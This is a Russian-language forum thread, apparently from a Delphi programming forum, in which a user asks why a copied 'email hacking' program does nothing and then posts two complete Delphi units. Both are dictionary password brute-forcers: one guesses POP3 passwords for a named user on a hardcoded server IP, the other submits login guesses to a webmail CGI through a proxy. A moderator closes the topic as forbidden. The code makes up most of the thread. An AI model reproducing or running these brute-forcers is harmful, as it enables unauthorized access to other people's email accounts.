|
#1
|
|||
|
|||
Взлом e-mail
Здрасьте всем!!! На сайте в разделе FAQ я нашёл статью о взламывании почты. Я скопировал текст, поместил нужные компоненты, запускаю, нажимаю кнопку, и ничё не происходит. Пробовал ждать минут десять пока там чё-нить появится - нифига. Помогите пожалста с этой прогой.
Заранее спасибо |
#2
|
||||
|
||||
Ты хоть бы код разместил.
Кому я должен - всем прощаю!!!! |
#3
|
||||
|
||||
В инете дофига примеров брутфорсеров мыла, как одно-, так и многопоточных, учись пользоваться поиском... в тот же delphiworld включены по-моему два примера брутов.
В.Бендер |
#4
|
|||
|
|||
Вот код первого примера:
Код:
unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, WinSock; type TForm1 = class(TForm) Button1: TButton; ProgressBar1: TProgressBar; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; type TScan = class(TThread) sock2 : TSocket; addr:TSockAddrIn; WSAData : TWSAData; private procedure CScan; protected procedure Execute; override; end; var Form1: TForm1; Sock : array[1..255] of TScan; Rez : boolean = false; I0 : Integer; // Номер текущего пароля I : Integer; // TStringList с паролями PassList : TStringList; const FilePass = 'pass.txt'; // Файл с паролями в каталоге проги ProcCount = 10; // кол-во процессов POP3serv = '212.42.64.13'; // POP3 server (отпингованый) User = 'dndanil'; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin PassList:=TStringList.Create; end; // Запуск / Остановка procedure TForm1.Button1Click(Sender: TObject); begin if Rez then Rez:=false else begin // Открытие и загрузка файла паролей try PassList.Clear; PassList.LoadFromFile(FilePass); except end; if PassList.Count<=0 then begin Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok); exit; end; Form1.Button1.Caption:='Stop'; Form1.ProgressBar1.Position:=0; // Кол-во паролей Form1.ProgressBar1.Max:=PassList.Count; Application.ProcessMessages; I:=0; I0:=1; Rez:=true; // Запустить все процессы while true do begin Sock[I0]:=TScan.Create(false); inc(I0); // Подсчитать их кол-во //Выйти если больше указанного, или стоп, или подобрали if (I0>ProcCount)or(not Rez) then break; end; end; end; // Проца инициализации процесса procedure TScan.Execute; begin try // Запуск цикла while true do begin CScan; //Выход, если подобрали или закончился словарь if (not Rez)or(I>=PassList.Count) then break; end; except end; dec(I0); try Terminate; except end; //Если все процессы прерваны - if I0<=1 then begin Form1.Button1.Caption:='Hack it'; Rez:=false; Application.ProcessMessages; end; end; //Проца сканирования procedure TScan.CScan; var iaddr, x, I2 : Integer; Buf : array [1..255] of Char; //Отправка procedure sender(str:string); var I1: integer; begin for I1:=1 to Length(str) do if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then exit; end; begin I2:=I; inc(I); Form1.ProgressBar1.Position:=I2+1; Application.ProcessMessages; try // Инициализация сокета WSAStartUp(257, WSAData); sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if sock2=INVALID_SOCKET then begin try closesocket(sock2); except end; exit; end; //Адрес сервака iaddr := inet_addr(PChar(POP3serv)); if iaddr <=0 then begin try closesocket(sock2); except end; exit; end; addr.sin_family := AF_INET; // Порт сервака addr.sin_port := htons(110); addr.sin_addr.S_addr:=iaddr; if (connect(sock2, addr, sizeof(addr))) >0 then begin try closesocket(sock2); except end; exit; end; //Получение при соединении x:=recv(sock2,buf,sizeof(Buf),0); if (x=SOCKET_ERROR)or(buf[1]<>'+') then exit; //"user user" sender('user '+User+#13+#10); x:=recv(sock2,buf,sizeof(Buf),0); if (x=SOCKET_ERROR)or(buf[1]<>'+') then exit; //"pass password" sender('pass '+PassList.Strings[I2]+#13+#10); x:=recv(sock2,buf,sizeof(Buf),0); //Если подобралось if (x>3)and(buf[1]='+') then begin Rez:=false; Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok); exit; end; try closesocket(sock2); except end; except end; end; end. Вот второй пример: Код:
unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, WinSock; type TForm1 = class(TForm) Button1: TButton; ProgressBar1: TProgressBar; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; // Описание процесса type TScan = class(TThread) sock2: TSocket; addr: TSockAddrIn; WSAData: TWSAData; private procedure CScan; protected procedure Execute; override; end; var Form1: TForm1; // Массив процессов Sock : array[1..255] of TScan; Rez : boolean = false; // Кол-во запущенных процессов на данный момент I0 : Integer; // Номер текущего пароля I : Integer; // TStringGrid-ы с паролями и с логом PassList, DopList1 : TStringList; const FilePass = 'pass.txt'; // Файл с паролями в каталоге проги ProcCount = 10; // кол-во процессов // Адрес прокси через который будет сканирование. // Лучше отпинговать сначала HTTPserv = 'proxy.address.net'; User = 'USER'; implementation // Для преобразование имени type TaPInAddr = array [0..255] of PInAddr; PaPInAddr = ^TaPInAddr; {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin PassList:=TStringList.Create; DopList1:=TStringList.Create; end; // Запуск / Остановка procedure TForm1.Button1Click(Sender: TObject); var J0 : Integer; begin if Rez then begin Rez:=false; for J0:=1 to I0 do try Sock[J0].Terminate; except end; end else begin // Открытие и загрузка файла паролей try PassList.Clear; PassList.LoadFromFile(FilePass); except end; if PassList.Count<=0 then begin Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok); exit; end; Form1.Button1.Caption:='Stop'; Form1.ProgressBar1.Position:=0; // Кол-во паролей Form1.ProgressBar1.Max:=PassList.Count; Application.ProcessMessages; I:=0; I0:=1; Rez:=true; // Запустить все процессы while true do begin Sock[I0]:=TScan.Create(false); inc(I0); // Подсчитать их кол-во //Выйти если больше указанного, или стоп, или подобрали if (I0>ProcCount)or(not Rez) then break; if I0 mod 100 = 0 then DopList1.Text:=IntToStr(I0); end; end; end; // Инициализация процесса procedure TScan.Execute; var iaddr, x0 : Integer; ph : PHostEnt; pptr : PaPInAddr; InAddr : TInAddr; begin try // Инициализация сокета WSAStartUp(257, WSAData); sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if sock2=INVALID_SOCKET then begin try closesocket(sock2); except end; try Terminate; except end; exit; end; // Получение адреса iaddr := inet_addr(HTTPserv); if iaddr <=0 then begin // Если имя, а не IP ph := gethostbyname(HTTPserv); if ph = nil then begin try closesocket(sock2); except end; try Terminate; except end; exit; end; pptr := PaPInAddr(ph^.h_addr_list); x0 := 0; while pptr^[x0] <> nil do begin InAddr:= pptr^[x0]^; inc(x0); addr.sin_addr:=inaddr; addr.sin_family := AF_INET; // Порт прокси - 80, 3128, 80808 и т.п. addr.sin_port := htons(80); if (connect(sock2, addr, sizeof(addr))) = 0 then break end; end else begin // Если IP addr.sin_addr.S_addr:=iaddr; addr.sin_family := AF_INET; // Порт прокси - 80, 3128, 80808 и т.п. addr.sin_port := htons(80); addr.sin_family := AF_INET; if (connect(sock2, addr, sizeof(addr))) > 0 then begin try closesocket(sock2); except end; try Terminate; except end; exit; end; end; // Запуск цикла while true do begin CScan; if (not Rez)or(I>=PassList.Count) then break; end; except end; dec(I0); try Terminate; except end; // Если отмена, закончился список или подобрали if I0<=1 then begin Form1.Button1.Caption:='Hack it'; Rez:=false; Application.ProcessMessages; DopList1.SaveToFile('log.txt'); end; end; // Процедура сканирования procedure TScan.CScan; var x, I2 : Integer; Buf : string; begin I2:=I; inc(I); Form1.ProgressBar1.Position:=I2+1; Application.ProcessMessages; try // Формирование url Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru&password='+ PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0'; // Отправка данных send(sock2,Buf[1],length(Buf),0); // Получение 300 байт setlength(Buf,300); x:=recv(sock2,Buf[1],300,0); if x<300 then exit; setlength(Buf,300); // Если подобрали if pos(Buf,'<!D')<=0 then // ??? begin Rez:=false; DopList1.Text:='Pass = '+PassList.Strings[I2]; Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok); exit; end; except end; end; end. |
#5
|
||||
|
||||
Подобные темы запрещены для обсуждения на данном форуме. Тему закрываю.
|